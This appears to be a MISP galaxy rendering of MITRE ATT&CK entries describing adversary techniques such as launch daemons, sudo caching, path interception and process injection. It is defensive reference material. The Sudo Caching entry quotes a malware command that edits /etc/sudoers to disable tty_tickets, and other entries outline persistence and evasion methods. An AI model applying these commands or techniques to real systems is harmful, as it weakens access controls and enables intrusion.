Functionality provided by native APIs are often also exposed to user-mode applications via interfaces and libraries. For example, functions such as the Windows API `CreateProcess()` or GNU `fork()` will allow programs and scripts to start other processes.(Citation: Microsoft CreateProcess)(Citation: GNU Fork) This may allow API callers to execute a binary, run a CLI command, load modules, etc. as thousands of similar API functions exist for various system operations.(Citation: Microsoft Win32)(Citation: LIBC)(Citation: GLIBC)

Higher level software frameworks, such as Microsoft .NET and macOS Cocoa, are also available to interact with native APIs. These frameworks typically provide language wrappers/abstractions to API functionalities and are designed for ease-of-use/portability of code.(Citation: Microsoft NET)(Citation: Apple Core Services)(Citation: MACOS Cocoa)(Citation: macOS Foundation)

Adversaries may abuse these native API functions as a means of executing behaviors. Similar to [Command and Scripting Interpreter](<https://attack.mitre.org/techniques/T1059>), the native API and its hierarchy of interfaces, provide mechanisms to interact with and utilize various components of a victimized system.

## Launch Daemon - T1160

Per Apple’s developer documentation, when macOS and OS X boot up, launchd is run to finish system initialization. This process loads the parameters for each launch-on-demand system-level daemon from the property list (plist) files found in `/System/Library/LaunchDaemons` and `/Library/LaunchDaemons` (Citation: AppleDocs Launch Agent Daemons). These LaunchDaemons have property list files which point to the executables that will be launched (Citation: Methods of Mac Malware Persistence).

Adversaries may install a new launch daemon that can be configured to execute at startup by using launchd or launchctl to load a plist into the appropriate directories (Citation: OSX Malware Detection). The daemon name may be disguised by using a name from a related operating system or benign software (Citation: WireLurker). Launch Daemons may be created with administrator privileges, but are executed under root privileges, so an adversary may also use a service to escalate privileges from administrator to root.

The plist file permissions must be root:wheel, but the script or program that it points to has no such requirement. So, it is possible for poor configurations to allow an adversary to modify a current Launch Daemon’s executable and gain persistence or Privilege Escalation.

The tag is: *misp-galaxy:mitre-attack-pattern="Launch Daemon - T1160"*

Launch Daemon - T1160 has relationships with:

- revoked-by: *misp-galaxy:mitre-attack-pattern="Launch Daemon - T1543.004"* with estimative-language:likelihood-probability="almost-certain"

## File Deletion - T1107

Malware, tools, or other non-native files dropped or created on a system by an adversary may leave traces behind as to what was done within a network and how. Adversaries may remove these files over the course of an intrusion to keep their footprint low or remove them at the end as part of the post-intrusion cleanup process.

There are tools available from the host operating system to perform cleanup, but adversaries may use other tools as well. Examples include native [cmd](<https://attack.mitre.org/software/S0106>) functions such as DEL, secure deletion tools such as Windows Sysinternals SDelete, or other third-party file deletion tools. (Citation: Trend Micro APT Attack Tools)

## Redundant Access - T1108

**This technique has been deprecated. Please use [Create Account](<https://attack.mitre.org/techniques/T1136>), [Web Shell](<https://attack.mitre.org/techniques/T1505/003>), and [External Remote Services](<https://attack.mitre.org/techniques/T1133>) where appropriate.**

Adversaries may use more than one remote access tool with varying command and control protocols or credentialed access to remote services so they can maintain access if an access mechanism is detected or mitigated.

If one type of tool is detected and blocked or removed as a response but the organization did not gain a full understanding of the adversary's tools and access, then the adversary will be able to retain access to the network. Adversaries may also attempt to gain access to [Valid Accounts](<https://attack.mitre.org/techniques/T1078>) to use [External Remote Services](<https://attack.mitre.org/techniques/T1133>) such as external VPNs as a way to maintain access despite interruptions to remote access tools deployed within a target network.(Citation: Mandiant APT1) Adversaries may also retain access through cloud-based infrastructure and applications.

Use of a [Web Shell](<https://attack.mitre.org/techniques/T1100>) is one such way to maintain access to a network through an externally accessible Web server.

## Component Firmware - T1109

Some adversaries may employ sophisticated means to compromise computer components and install malicious firmware that will execute adversary code outside of the operating system and main system firmware or BIOS. This technique may be similar to [System Firmware](<https://attack.mitre.org/techniques/T1019>) but conducted upon other system components that may not have the same capability or level of integrity checking. Malicious device firmware could provide both a persistent level of access to systems despite potential typical failures to maintain access and hard disk re-images, as well as a way to evade host software-based defenses and integrity checks.

## Data Encrypted - T1022

Data is encrypted before being exfiltrated in order to hide the information that is being exfiltrated from detection or to make the exfiltration less conspicuous upon inspection by a defender. The encryption is performed by a utility, programming library, or custom algorithm on the data itself and is considered separate from any encryption performed by the command and control or file transfer protocol. Common file archive formats that can encrypt files are RAR and zip.

Other exfiltration techniques likely apply as well to transfer the information out of the network, such as [Exfiltration Over Command and Control Channel](<https://attack.mitre.org/techniques/>

T1041) and [Exfiltration Over Alternative Protocol](<https://attack.mitre.org/techniques/T1048>)

## Broadcast Receivers - T1402

An intent is a message passed between Android application or system components. Applications can register to receive broadcast intents at runtime, which are system-wide intents delivered to each app when certain events happen on the device, such as network changes or the user unlocking the screen. Malicious applications can then trigger certain actions within the app based on which broadcast intent was received.

Further, malicious applications can register for intents broadcasted by other applications in addition to the Android system itself. This allows the malware to respond based on actions in other applications. This behavior typically indicates a more intimate knowledge, or potentially the targeting of specific devices, users, or applications.

In Android 8 (API level 26), broadcast intent behavior was changed, limiting the implicit intents that applications can register for in the manifest. In most cases, applications that register through the manifest will no longer receive the broadcasts. Now, applications must register context-specific broadcast receivers while the user is actively using the app.(Citation: Android Changes to System Broadcasts)

## User Execution - T1204

An adversary may rely upon specific actions by a user in order to gain execution. Users may be subjected to social engineering to get them to execute malicious code by, for example, opening a malicious document file or link. These user actions will typically be observed as follow-on behavior from forms of [Phishing](<https://attack.mitre.org/techniques/T1566>).

While [User Execution](<https://attack.mitre.org/techniques/T1204>) frequently occurs shortly after Initial Access it may occur at other phases of an intrusion, such as when an adversary places a file in a shared directory or on a user's desktop hoping that a user will click on it. This activity may also be seen shortly after [Internal Spearphishing](<https://attack.mitre.org/techniques/T1534>).

## Traffic Signaling - T1205

Adversaries may use traffic signaling to hide open ports or other malicious functionality used for persistence or command and control. Traffic signaling involves the use of a magic value or sequence that must be sent to a system to trigger a special response, such as opening a closed port or executing a malicious task. This may take the form of sending a series of packets with certain characteristics before a port will be opened that the adversary can use for command and control. Usually this series of packets consists of attempted connections to a predefined sequence of closed ports (i.e. [Port Knocking](<https://attack.mitre.org/techniques/T1205/001>)), but can involve unusual flags, specific strings, or other unique characteristics. After the sequence is completed, opening a port may be accomplished by the host-based firewall, but could also be implemented by custom software.

Adversaries may also communicate with an already open port, but the service listening on that port will only respond to commands or trigger other malicious functionality if passed the appropriate magic value(s).

The observation of the signal packets to trigger the communication can be conducted through different methods. One means, originally implemented by Cd00r (Citation: Hartrell cd00r 2002), is to use the libpcap libraries to sniff for the packets in question. Another method leverages raw sockets, which enables the malware to use ports that are already open for use by other programs.

On network devices, adversaries may use crafted packets to enable [Network Device Authentication](<https://attack.mitre.org/techniques/T1556/004>) for standard services offered by the device such as telnet. Such signaling may also be used to open a closed service port such as telnet,

or to trigger module modification of malware implants on the device, adding, removing, or changing malicious capabilities.(Citation: Cisco Synful Knock Evolution) (Citation: FireEye - Synful Knock) (Citation: Cisco Blog Legacy Device Attacks) To enable this traffic signaling on embedded devices, adversaries must first achieve and leverage [Patch System Image](<https://attack.mitre.org/techniques/T1601/001>) due to the monolithic nature of the architecture.

## Multiband Communication - T1026

**This technique has been deprecated and should no longer be used.**

Some adversaries may split communications between different protocols. There could be one protocol for inbound command and control and another for outbound data, allowing it to bypass certain firewall restrictions. The split could also be random to simply avoid data threshold alerts on any one communication.

The tag is: *misp-galaxy:mitre-attack-pattern="Multiband Communication - T1026"*

## Sudo Caching - T1206

The `sudo` command "allows a system administrator to delegate authority to give certain users (or groups of users) the ability to run some (or all) commands as root or another user while providing an audit trail of the commands and their arguments." (Citation: sudo man page 2018) Since sudo was made for the system administrator, it has some useful configuration features such as a `timestamp_timeout` that is the amount of time in minutes between instances of `sudo` before it will re-prompt for a password. This is because `sudo` has the ability to cache credentials for a period of time. Sudo creates (or touches) a file at `/var/db/sudo` with a timestamp of when sudo was last run to

determine this timeout. Additionally, there is a `tty_tickets` variable that treats each new tty (terminal session) in isolation. This means that, for example, the sudo timeout of one tty will not affect another tty (you will have to type the password again).

Adversaries can abuse poor configurations of this to escalate privileges without needing the user's password. `/var/db/sudo`'s timestamp can be monitored to see if it falls within the `timestamp_timeout` range. If it does, then malware can execute sudo commands without needing to supply the user's password. When `tty_tickets` is disabled, adversaries can do this from any tty for that user.

The OSX Proton Malware has disabled `tty_tickets` to potentially make scripting easier by issuing `echo 'Defaults !tty_tickets' >> /etc/sudoers` (Citation: cybereason osx proton). In order for this change to be reflected, the Proton malware also must issue `killall Terminal`. As of macOS Sierra, the sudoers file has `tty_tickets` enabled by default.

## Time Providers - T1209

The Windows Time service (W32Time) enables time synchronization across and within domains. (Citation: Microsoft W32Time Feb 2018) W32Time time providers are responsible for retrieving time stamps from hardware/network resources and outputting these values to other network clients. (Citation: Microsoft TimeProvider)

Time providers are implemented as dynamic-link libraries (DLLs) that are registered in the subkeys of

`HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\W32Time\TimeProviders\`  
>. (Citation: Microsoft TimeProvider) The time provider manager, directed by the service control manager, loads and starts time providers listed and enabled under this key at system startup and/or whenever parameters are changed. (Citation: Microsoft TimeProvider)

Adversaries may abuse this architecture to establish Persistence, specifically by registering and enabling a malicious DLL as a time provider. Administrator privileges are required for time provider registration, though execution will run in context of the Local Service account. (Citation: Github W32Time Oct 2017)

## Path Interception - T1034

**This technique has been deprecated. Please use [Path Interception by PATH Environment Variable](<https://attack.mitre.org/techniques/T1574/007>), [Path Interception by Search Order Hijacking](<https://attack.mitre.org/techniques/T1574/008>), and/or [Path Interception by Unquoted Path](<https://attack.mitre.org/techniques/T1574/009>).**

Path interception occurs when an executable is placed in a specific path so that it is executed by an application instead of the intended target. One example of this was the use of a copy of [cmd](<https://attack.mitre.org/software/S0106>) in the current working directory of a vulnerable application that loads a CMD or BAT file with the CreateProcess function. (Citation: TechNet MS14-019)

There are multiple distinct weaknesses or misconfigurations that adversaries may take advantage of when performing path interception: unquoted paths, path environment variable misconfigurations, and search order hijacking. The first vulnerability deals with full program paths, while the second and third occur when program paths are not specified. These techniques can be used for persistence if executables are called on a regular basis, as well as privilege escalation if intercepted executables are started by a higher privileged process.

## Unquoted Paths

Service paths (stored in Windows Registry keys) (Citation: Microsoft Subkey) and shortcut paths are vulnerable to path interception if the path has one or more spaces and is not surrounded by quotation marks (e.g., `C:\unsafe path with space\program.exe` vs. `"C:\safe path with space\program.exe"`). (Citation: Baggett 2012) An adversary can place an executable in a higher level directory of the path, and Windows will resolve that executable instead of the intended executable. For example, if the path in a shortcut is `C:\program files\myapp.exe`, an adversary may create a program at `C:\program.exe` that will be run instead of the intended program. (Citation: SecurityBoulevard Unquoted Services APR 2018) (Citation: SploitSpren Windows Priv Jan 2018)

## PATH Environment Variable Misconfiguration

The PATH environment variable contains a list of directories. Certain methods of executing a program (namely using cmd.exe or the command-line) rely solely on the PATH environment variable to determine the locations that are searched for a program when the path for the program is not given. If any directories are listed in the PATH environment variable before the Windows directory, `%SystemRoot%\system32` (e.g., `C:\Windows\system32`), a program may be placed in the preceding directory that is named the same as a Windows program (such as cmd, PowerShell, or Python), which will be executed when that command is executed from

a script or command-line.

For example, if `C:\example path` precedes `C:\Windows\system32` is in the PATH environment variable, a program that is named net.exe and placed in `C:\example path` will be called instead of the Windows system "net" when "net" is executed from the command-line.

## Search Order Hijacking

Search order hijacking occurs when an adversary abuses the order in which Windows searches for programs that are not given a path. The search order differs depending on the method that is used to execute the program. (Citation: Microsoft CreateProcess) (Citation: Hill NT Shell) (Citation: Microsoft WinExec) However, it is common for Windows to search in the directory of the initiating program before searching through the Windows system directory. An adversary who finds a program vulnerable to search order hijacking (i.e., a program that does not specify the path to an executable) may take advantage of this vulnerability by creating a program named after the improperly specified program and placing it within the initiating program's directory.

For example, "example.exe" runs "cmd.exe" with the command-line argument `net user`. An adversary may place a program called "net.exe" within the same directory as example.exe, "net.exe" will be run instead of the Windows system utility net. In addition, if an adversary places a program called "net.com" in the same directory as "net.exe", then `cmd.exe /C net user` will execute "net.com" instead of "net.exe" due to the order of executable extensions defined under PATHEXT. (Citation: MSDN Environment Property)

Search order hijacking is also a common practice for hijacking DLL loads and is covered in [DLL Search Order Hijacking](<https://attack.mitre.org/techniques/T1038>).

## Indicator Blocking - T1054

An adversary may attempt to block indicators or events typically captured by sensors from being gathered and analyzed. This could include maliciously redirecting (Citation: Microsoft Lamin Sept 2017) or even disabling host-based sensors, such as Event Tracing for Windows (ETW),(Citation: Microsoft About Event Tracing 2018) by tampering settings that control the collection and flow of event telemetry. (Citation: Medium Event Tracing Tampering 2018) These settings may be stored on the system in configuration files and/or in the Registry as well as being accessible via administrative utilities such as [PowerShell](<https://attack.mitre.org/techniques/T1086>) or [Windows Management Instrumentation](<https://attack.mitre.org/techniques/T1047>).

ETW interruption can be achieved multiple ways, however most directly by defining conditions using the PowerShell Set-EtwTraceProvider cmdlet or by interfacing directly with the registry to make alterations.

In the case of network-based reporting of indicators, an adversary may block traffic associated with reporting to prevent central analysis. This may be accomplished by many means, such as stopping a local process responsible for forwarding telemetry and/or creating a host-based firewall rule to block traffic to specific hosts responsible for aggregating events, such as security information and event management (SIEM) products.

## Code Injection - T1540

Adversaries may use code injection attacks to implant arbitrary code into the address space of a running application. Code is then executed or interpreted by that application. Adversaries utilizing this technique may exploit capabilities to load code in at runtime through dynamic libraries.

With root access, `ptrace` can be used to target specific applications and load shared libraries into its process memory.(Citation: Shunix Code Injection Mar 2016)(Citation: Fadeev Code Injection Aug

2018) By injecting code, an adversary may be able to gain access to higher permissions held by the targeted application by executing as the targeted application. In addition, the adversary may be able to evade detection or enable persistent access to a system under the guise of the application's process.(Citation: Google Triada June 2019)

The tag is: *misp-galaxy:mitre-attack-pattern="Code Injection - T1540"*

## PowerShell Profile - T1504

Adversaries may gain persistence and elevate privileges in certain situations by abusing [PowerShell](<https://attack.mitre.org/techniques/T1086>) profiles. A PowerShell profile (<code>profile.ps1</code>) is a script that runs when PowerShell starts and can be used as a logon script to customize user environments. PowerShell supports several profiles depending on the user or host program. For example, there can be different profiles for PowerShell host programs such as the PowerShell console, PowerShell ISE or Visual Studio Code. An administrator can also configure a profile that applies to all users and host programs on the local computer. (Citation: Microsoft About Profiles)

Adversaries may modify these profiles to include arbitrary commands, functions, modules, and/or PowerShell drives to gain persistence. Every time a user opens a PowerShell session the modified script will be executed unless the <code>-NoProfile</code> flag is used when it is launched. (Citation: ESET Turla PowerShell May 2019)

An adversary may also be able to escalate privileges if a script in a PowerShell profile is loaded and executed by an account with higher privileges, such as a domain administrator. (Citation: Wits End and Shady PowerShell Profiles)

The tag is: *misp-galaxy:mitre-attack-pattern="PowerShell Profile - T1504"*

## Software Packing - T1045

Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory.

Utilities used to perform software packing are called packers. Example packers are MPRESS and UPX. A more comprehensive list of known packers is available, (Citation: Wikipedia Exe Compression) but adversaries may create their own packing techniques that do not leave the same artifacts as well-known packers to evade defenses.

Adversaries may use virtual machine software protection as a form of software packing to protect their code. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.(Citation: ESET FinFisher Jan 2018)

The tag is: *misp-galaxy:mitre-attack-pattern="Software Packing - T1045"*

<a href="https://attack.mitre.org/techniques/T1460">https://attack.mitre.org/techniques/T1460</a>

## Data Staged - T1074

Adversaries may stage collected data in a central location or directory prior to Exfiltration. Data may be kept in separate files or combined into one file through techniques such as [Archive Collected Data](<https://attack.mitre.org/techniques/T1560>). Interactive command shells may be used, and common functionality within [cmd](<https://attack.mitre.org/software/S0106>) and bash may be used to copy data into a staging location.(Citation: PWC Cloud Hopper April 2017)

In cloud environments, adversaries may stage data within a particular instance or virtual machine before exfiltration. An adversary may [Create Cloud Instance](<https://attack.mitre.org/techniques/T1578/002>) and stage data in that instance.(Citation: Mandiant M-Trends 2020)

Adversaries may choose to stage data from a victim network in a centralized location prior to Exfiltration to minimize the number of connections made to their C2 server and better evade detection.

The tag is: *misp-galaxy:mitre-attack-pattern="Data Staged - T1074"*

## Execution Guardrails - T1480

Adversaries may use execution guardrails to constrain execution or actions based on adversary supplied and environment specific conditions that are expected to be present on the target. Guardrails ensure that a payload only executes against an intended target and reduces collateral damage from an adversary's campaign.(Citation: FireEye Kevin Mandia Guardrails) Values an adversary can provide about a target system or environment to use as guardrails may include specific network share names, attached physical devices, files, joined Active Directory (AD) domains, and local/external IP addresses.(Citation: FireEye Outlook Dec 2019)

Guardrails can be used to prevent exposure of capabilities in environments that are not intended to

be compromised or operated within. This use of guardrails is distinct from typical [Virtualization/Sandbox Evasion](<https://attack.mitre.org/techniques/T1497>). While use of [Virtualization/Sandbox Evasion](<https://attack.mitre.org/techniques/T1497>) may involve checking for known sandbox values and continuing with execution only if there is no match, the use of guardrails will involve checking for an expected target-specific value and only continuing with execution if there is such a match.

The tag is: *misp-galaxy:mitre-attack-pattern="Execution Guardrails - T1480"*

## Process Injection - T1055

Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.

There are many different ways to inject code into a process, many of which abuse legitimate functionalities. These implementations exist for every major OS but are typically platform specific.

More sophisticated samples may perform multiple process injections to segment modules and further evade detection, utilizing named pipes or other inter-process communication (IPC) mechanisms as a communication channel.

The tag is: *misp-galaxy:mitre-attack-pattern="Process Injection - T1055"*

## Input Capture - T1056

Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. [Credential API Hooking](<https://attack.mitre.org/techniques/T1056/004>)) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. [Web Portal Capture](<https://attack.mitre.org/techniques/T1056/003>)).

The tag is: *misp-galaxy:mitre-attack-pattern="Input Capture - T1056"*

## Process Discovery - T1057

Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from [Process Discovery](<https://attack.mitre.org/techniques/T1057>) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.

In Windows environments, adversaries could obtain details on running processes using the [Tasklist](<https://attack.mitre.org/software/S0057>) utility via [cmd](<https://attack.mitre.org/software/S0106>) or `Get-Process` via [PowerShell](<https://attack.mitre.org/techniques/T1059/001>). Information about processes can also be extracted from the output of [Native API](<https://attack.mitre.org/techniques/T1106>) calls such as `CreateToolhelp32Snapshot`. In Mac and Linux, this is accomplished with the `ps` command. Adversaries may also opt to enumerate processes via `/proc`.

The tag is: *misp-galaxy:mitre-attack-pattern="Process Discovery - T1057"*

## Valid Accounts - T1078

Adversaries may obtain and abuse credentials of existing accounts as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Compromised credentials may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access and remote desktop. Compromised credentials may also grant an adversary increased privilege to specific systems or access to restricted areas of the network. Adversaries may choose not to use malware or tools in conjunction with the legitimate access those credentials provide to make it harder to detect their presence.

The overlap of permissions for local, domain, and cloud accounts across a network of systems is of concern because the adversary may be able to pivot across accounts and systems to reach a high level of access (i.e., domain or enterprise administrator) to bypass access controls set within the enterprise. (Citation: TechNet Credential Theft)

## Account Manipulation - T1098

Adversaries may manipulate accounts to maintain access to victim systems. Account manipulation may consist of any action that preserves adversary access to a compromised account, such as modifying credentials or permission groups. These actions could also include account activity designed to subvert security policies, such as performing iterative password updates to bypass password duration policies and preserve the life of compromised credentials. In order to create or manipulate accounts, the adversary must already have sufficient permissions on systems or the domain.

The tag is: *misp-galaxy:mitre-attack-pattern="Account Manipulation - T1098"*
